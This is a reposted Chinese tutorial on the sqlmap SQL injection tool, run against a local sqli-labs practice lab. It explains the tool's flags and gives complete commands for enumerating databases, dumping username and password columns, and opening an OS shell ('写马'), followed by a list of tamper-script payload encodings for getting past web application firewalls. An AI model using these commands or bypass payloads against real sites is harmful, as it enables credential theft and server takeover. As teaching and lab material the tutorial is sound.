SQL注入工具Sqlmap

一、什么是Sqlmap

Sqlmap是一款开源的渗透测试工具，主要用于自动化检测和利用SQL注入漏洞，并能实现数据库服务器的接管。Sqlmap提供了多种功能和选项，包括数据库指纹识别、数据读取、文件系统访问以及通过带外数据连接执行系统命令等。它支持广泛的数据库类型，如MySQL、Oracle、PostgreSQL、Microsoft SQL Server等多种常见数据库管理系统。同时，Sqlmap还支持多种类型的SQL注入技术，例如基于布尔的盲注、基于时间的盲注、基于报错的注入、联合查询注入和堆叠查询注入等。使用方法：python sqlmap.py -参数，sqlmap可以运行在python2.6、2.7和3.x的任何平台上。

官网下载地址：https://github.com/sqlmapproject/sqlmap

官方使用指南：https://github.com/sqlmapproject/sqlmap/wiki/Usage

二、Sqlmap参数介绍

-u
使用方法：python sqlmap.py -u [URL]
描述：该参数用于指定需要测试的URL，通常是GET类型注入的必备参数。
--batch
使用方法：python sqlmap.py -u [URL] --batch
描述：使用该参数可以在所有需要用户输入的部分（通常是询问执行yes还是no）时，自动选择默认操作，不需要用户再次输入。
--flush-session
使用方法：python sqlmap.py -u [URL] --flush-session
描述：该参数表示清除当前目标的会话文件。Sqlmap在测试某一目标URL后会生成包含本次测试结果信息的session文件，当想重新测试该目标URL时，可使用此参数。
--dbms
使用方法：python sqlmap.py -u [URL] --dbms [数据库名]
描述：该参数用于指定数据库类型。Sqlmap默认情况下会自动检测Web应用程序的后端数据库管理系统，但当你明确知道要测试的数据库类型时，可以使用此参数指定。
--level
使用方法：python sqlmap.py -u [URL] --level [等级]
描述：该参数用于指定payload测试复杂等级，共有五个级别（1-5），默认值为1。等级越高，测试的payload越复杂。当低等级注入不成功时，可以逐步提高等级尝试。
--random-agent
使用方法：python sqlmap.py -u [URL] --random-agent
描述：使用该参数，Sqlmap将随机选择请求头中的User-Agent进行请求，而不是使用默认的User-Agent。
--user-agent
使用方法：python sqlmap.py -u [URL] --user-agent="自定义User-Agent"
描述：该参数允许用户指定自定义的User-Agent字符串。
--tamper
使用方法：python sqlmap.py -u [URL] --tamper [脚本路径1],[脚本路径2]...
描述：该参数用于指定篡改脚本的路径，可以帮助绕过Web应用防火墙（WAF）和其他防御机制。常用的tamper脚本包括space2comment.py和between.py。
--technique
使用方法：python sqlmap.py -u [URL] --technique [注入类型选项]
描述：该参数用于指定要测试的SQL注入类型。Sqlmap默认会测试所有类型的注入，但可以使用此参数指定具体的注入类型，例如"BE"表示只测试布尔盲注和基于错误的注入。

三、Sqlmap基本使用 

以sqllabs第9关为例

get请求基础用法

#获取所有数据库名称
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --dbs
#获取当前数据库
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --current-db
#获取数据库security所有表名称
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --tables -D security
#获取数据库security的users表的所有列名
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --columns -D security -T users
#获取数据库security的users表的username和password列的值
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --dump -D security -T users -C username,password
#写马
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --os-shell 

post请求  --data

#获取所有数据库名称
python sqlmap.py -u "http://192.168.93.128/sqli-labs-master/Less-11/" --data "uname=312&passwd=312&submit=Submit" --dbs
获取数据库security所有表名称
python sqlmap.py -u "http://192.168.93.128/sqli-labs-master/Less-11/" --data "uname=312&passwd=312&submit=Submit" -D security --tables
#获取数据库security的users表的所有列名
python sqlmap.py -u "http://192.168.93.128/sqli-labs-master/Less-11/" --data "uname=312&passwd=312&submit=Submit" -D security -T users --columns
#获取数据库security的users表的username和password列的值
python sqlmap.py -u "http://192.168.93.128/sqli-labs-master/Less-11/" --data "uname=312&passwd=312&submit=Submit" -D security -T users -C username,password --dump

指定文件（批量检测）-m

sqlmap -m urls.txt
指定要检测的文件（批量检测）-r
sqlmap -r http.txt  #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username  #指定参数，当有多个参数而你又知道username参数存在SQL漏洞，你就可以使用-p指定参数进行探测
需要登录的网站  --cookie
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #探测该url是否存在漏洞

进阶用法

检测是否有WAF   --identify-waf 
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --identify-waf
指定脚本进行绕过   --tamper 
详细看sqlmap_tamp注入的脚本.xlsx

sqlmap_tamp.xlsx文件内容：

实现方式
("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
("1' AND SLEEP(5)#")'MScgQU5EIFNMRUVQKDUpIw=='
('1 UNION SELECT foobar')'1 UNION SELECT foobar'
('SELECT id FROM users')'SELECT+id+FROM+users'
('1 UNION SELECT 2--')'1 UNIOUNIONN SELESELECTCT 2--'
('SELECT id FROM users')'SELECT%0Did%0DFROM%0Ausers'
('-1 UNION ALL SELECT')'-1 UNION SELECT'
('1 AND 1=1')"1 AND 1=1 and '0having'='0having'"
'1 AND 9227=9227' '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
* Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1
Input: SELECT id FROM usersOutput: SELECT%08id%02FROM%0Fusers
('1 AND 9227=9227')'1%23%0AAND%23%0A9227=9227'
('1 AND A > B--')'1 AND A NOT BETWEEN 0 AND B--'
* Input: SELECT FIELD FROM TABLE* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
('1 AND 9227=9227-- ')'1 AND 9227=9227-- sp_password'
* Input: SELECT FIELD FROM%20TABLE* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
* Input: INSERT* Output: InsERt
* Input: SELECT FIELD%20FROM TABLE* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
* Input: SELECT id FROM users* Output: SELECT//id//FROM/**/users
* Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1
('1 AND A > B')'1 AND GREATEST(A,B+1)=A'
tamper("1 AND '1'='1")'1 AND %00%271%00%27=%00%271'
('IFNULL(1, 2)')'IF(ISNULL(1),2,1)'
('1 AND 9227=9227')'1%23%0AAND%23%0A9227=9227'
('1 AND 2>1--')'1 /*!30874AND 2>1*/--'
Input: SELECT id FROM usersOutput: SELECT%0Bid%0BFROM%A0users
('1 AND A > B--')'1 AND A NOT BETWEEN 0 AND B--'
('1 AND 2>1--')'1 /*!00000AND 2>1*/--'
('1 AND 9227=9227')'1--%0AAND--%0A9227=9227'
('SELECT id FROM users where id = 1')'SELECT%09id FROM users where id LIKE 1'
* Input: SELECT FIELD FROM TABLE* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
* Input: SELECT FIELD FROM%20TABLE* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
* Input: INSERT* Output: InsERt
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
* Input: SELECT id FROM users* Output: SELECT//id//FROM/**/users
* Input: SELECT FIELD%20FROM TABLE* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa
1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
* Input: 1 AND 9227=9227* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
('1 AND A > B')'1 AND GREATEST(A,B+1)=A'
tamper("1 AND '1'='1")'1 AND %00%271%00%27=%00%271'
('1 AND A > B--')'1 AND A NOT BETWEEN 0 AND B--'
* Input: SELECT FIELD FROM%20TABLE* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
* Input: INSERT* Output: InsERt
* Input: SELECT FIELD%20FROM TABLE* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
* Input: SELECT id FROM users* Output: SELECT//id//FROM/**/users
('1 AND A > B')'1 AND GREATEST(A,B+1)=A'
tamper("1 AND '1'='1")'1 AND %00%271%00%27=%00%271'
('1 AND A > B--')'1 AND A NOT BETWEEN 0 AND B--'
* Input: SELECT FIELD FROM TABLE* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
* Input: SELECT FIELD FROM%20TABLE* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
* Input: INSERT* Output: InsERt
* Input: SELECT FIELD%20FROM TABLE* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
* Input: SELECT id FROM users* Output: SELECT//id//FROM/**/users
('1 AND 1=1')'1 AND 1=1%00'
* Input: SELECT FIELD FROM%20TABLE* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
* Input: 1′ AND 1=1* Output: 1%bf%27 AND 1=1–%20
‘INSERT’ becomes ‘IN//S//ERT’

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mfbz.cn/a/773087.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

开源六轴协作机械臂myCobot280实现交互式乘法！让学习充满乐趣

开源六轴协作机械臂myCobot280实现交互式乘法！让学习充满乐趣

本文经作者Fumitaka Kimizuka 授权我们翻译和转载。 原文链接：myCobotに「頷き」「首振り」「首傾げ」をしてもらう 🤖 - みかづきブログ・カスタム 引言 Fumitaka Kimizuka 创造了一个乘法表系统，帮助他的女儿享受学习乘法表的乐趣。她可以…
阅读更多...
FPGA问题

FPGA问题

fpga 问题 ep2c5t144 开发板 第一道坎，安装软件；没有注册，无法产生sop文件，无法下载 没有相应的库的quartus ii版本，需要另下载 第二道坎，模拟器的下载，安装； 第三道，v…
阅读更多...
Camera Raw：红眼

Camera Raw：红眼

Camera Raw 的红眼 Red Eye面板可高效地修正照片中的红眼现象。 红眼现象通常是由于闪光灯直接照射到眼睛内的视网膜所引起的，在摄影中常见于低光环境下的拍摄，尤其是在人物和宠物照片中。 在一些老照片中可能存在红眼现象，现代摄影技术基本上…
阅读更多...
图像的反转

图像的反转

图像颜色的反转一般分为两种：一种是灰度图片的颜色反转，另一种是彩色图像的颜色反转。 本节使用的原图如下： 1.1 灰度图像颜色反转 灰度图像每个像素点只有一个像素值来表示，色彩范围在0-255之间，反转方法255-当前像…
阅读更多...
Anaconda+Pycharm两个软件从头到尾下载流程

Anaconda+Pycharm两个软件从头到尾下载流程

前言： 1、使用教程前，请将电脑上的所有的Python卸载掉。再下载Anaconda，Anaconda这个软件里面就含有python。 彻底删除python方法： 1、计算机——属性——高级系统设置——环境变量 2、查看电脑用户自己设计的环境变量&#x…
阅读更多...
探索如何赋予对象迭代魔法，轻松实现非传统解构赋值的艺术

探索如何赋予对象迭代魔法，轻松实现非传统解构赋值的艺术

前言 今天下午在网上冲浪过程中看到这样一个问题 面试题：如何让 var [a, b] {a: 1, b: 2} 解构赋值成功？ 据说是某大厂面试题，于是我学习了一下这个问题，写下这篇文章记录一下。 学习过程 要想解决这个问题首先要知道什么是解…
阅读更多...
运维锅总详解计算机缓存

运维锅总详解计算机缓存

本文从OSI模型中的每一层缓存介绍、常见开源中间件缓存举例、TCP/IP协议栈中的缓存机制、操作系统中的缓存、访问缓存数据的时间范围统计等方面对计算机中的缓存进行详细介绍。希望对您有所帮助！ 一、OSI模型中的每一层缓存 1. 物理层（Physical Layer&…
阅读更多...
人工智能系列-numpy（一）

人工智能系列-numpy（一）

🌈个人主页：羽晨同学 💫个人格言:“成为自己未来的主人~” Numpy是python语言的一个拓展程序库，支持大量的维度数组与矩阵计算，此外也针对数组运算提供大量的数学函数库 NumPy支持的数据类型比Python内置的类型要…
阅读更多...
SwiftUI中List的liststyle样式及使用详解添加、移动、删除、自定义滑动

SwiftUI中List的liststyle样式及使用详解添加、移动、删除、自定义滑动

SwiftUI中的List可是个好东西，它用于显示可滚动列表的视图容器，类似于UITableView。在List中可以显示静态或动态的数据，并支持垂直滚动。List是一个数据驱动的视图，当数据发生变化时，列表会自动更新。针对List&#xf…
阅读更多...
PyMuPDF 操作手册 - 09 API - Page属性方法和简短说明

PyMuPDF 操作手册 - 09 API - Page属性方法和简短说明

文章目录 一、Page属性方法和简短说明一、Page属性方法和简短说明 https://pymupdf.readthedocs.io/en/latest/page.html Method/Attribute属性方法Short Description简短说明Page.add_caret_annot（）仅限 PDF：添加插入符号注释Page.add_circle_annot（）仅限 PDF：添加圆圈…
阅读更多...
前端面试题7（单点登录）

前端面试题7（单点登录）

如何实现单点登录 单点登录（Single Sign-On，简称SSO）是一种允许用户在多个应用系统中只需登录一次，就可以访问所有相互信任的应用系统的认证技术。实现前端单点登录主要依赖于后端的支持和一些特定的协议，如OAuth、Ope…
阅读更多...
Postman使用教程

Postman使用教程

传统接口风格 RESTful风格 使用Postman完成测试用例目标： Postman教程 （1）准备工作，下载Postman新建 （2）登录接口调试-获取验证码 （3）登录接口调试-登录 （4）…
阅读更多...
python库（2）：Passlib库

python库（2）：Passlib库

1 Passlib简介 Passlib库就是一个强大的工具，专门用于密码的安全存储和验证。本文将介绍Passlib库的基本概念、功能和使用方法，帮助更好地理解和应用密码安全技术。 Passlib是一个用于密码加密、哈希和验证的Python库，它提供了多种密码哈希…
阅读更多...
STM32 HAL库实现硬件IIC通信

STM32 HAL库实现硬件IIC通信

文章目录 一. 前言二. 关于IIC通信三. IIC通信过程四. STM32实现硬件IIC通信五. 关于硬件IIC的Bug 一. 前言 最近正在DIY一款智能电池，需要使用STM32F030F4P6和TI的电池管理芯片BQ40Z50进行SMBUS通信。SMBUS本质上就是IIC通信，项目用到STM32CubeMXHAL库…
阅读更多...
算法库应用-顺序串(串比较)

算法库应用-顺序串(串比较)

学习贺利坚老师博客 数据结构例程——串的顺序存储应用_使用顺序串存储身份证号-CSDN博客 本人详细解析博客 串的顺序存储结构应用_(1)假设串采用顺序串存储,设计一个算法程序,按顺序比较两个串s和t的大小。请-CSDN博客 版本日志 V1.0: 利用顺序串, 进行简单的判断比较, 也算是…
阅读更多...
JavaScript中闭包的理解

JavaScript中闭包的理解

闭包（Closure）概念：一个函数对周围状态的引用捆绑在一起，内层函数中访问到其外层函数的作用域。简单来说;闭包内层函数引用外层函数的变量，如下图： 外层在使用一个函数包裹住闭包是对变量的保护&#xff0c…
阅读更多...
Linux--V4L2摄像头驱动框架及UVC浅析

Linux--V4L2摄像头驱动框架及UVC浅析

一、前言 对于一个usb摄像头，它的内核驱动源码位于/drivers/media/usb/uvc/ 核心层：V4L2_dev.c文件 硬件相关层： uvc_driver.c文件 本篇记录基于对6.8.8.8内核下vivid-core.c文件（虚拟视频驱动程序）的分析&#xff…
阅读更多...
【数据库】仓库管理数据库（练习样例）

【数据库】仓库管理数据库（练习样例）

某连锁超市需要设计实现一个仓库管理系统，要求每个仓库可以有多名仓库管理员，每个仓库管理员只负责管理一个仓库，同时每个仓库都配备了一名仓库主管；不同的仓库存放的是不同类型的货品，每种货品只存放在固定的仓库中&a…
阅读更多...
Os-hackNos

Os-hackNos

下载地址 https://download.vulnhub.com/hacknos/Os-hackNos-1.ova 环境配置如果出现，扫描不到IP的情况，可以尝试vulnhub靶机检测不到IP地址解决办法_vulnhub靶机扫描不到ip-CSDN博客 信息收集 确定靶机地址： 探测到存活主机192.168.111.…
阅读更多...
modelscope可控细节的长文档摘要

modelscope可控细节的长文档摘要

modelscope可控细节的长文档摘要尝试 本文的想法来自今年OpenAI cookbook的一篇实践：summarizing_long_documents，目标是演示如何以可控的细节程度总结大型文档。 如果我们想让大语言模型总结一份长文档（例如 10k 或更多tokens）&…
阅读更多...
最新文章

Copyright @ 2022~2023

友情链接： 我的编程经验分享 一条长河网 尧图网站开发 尧图建网站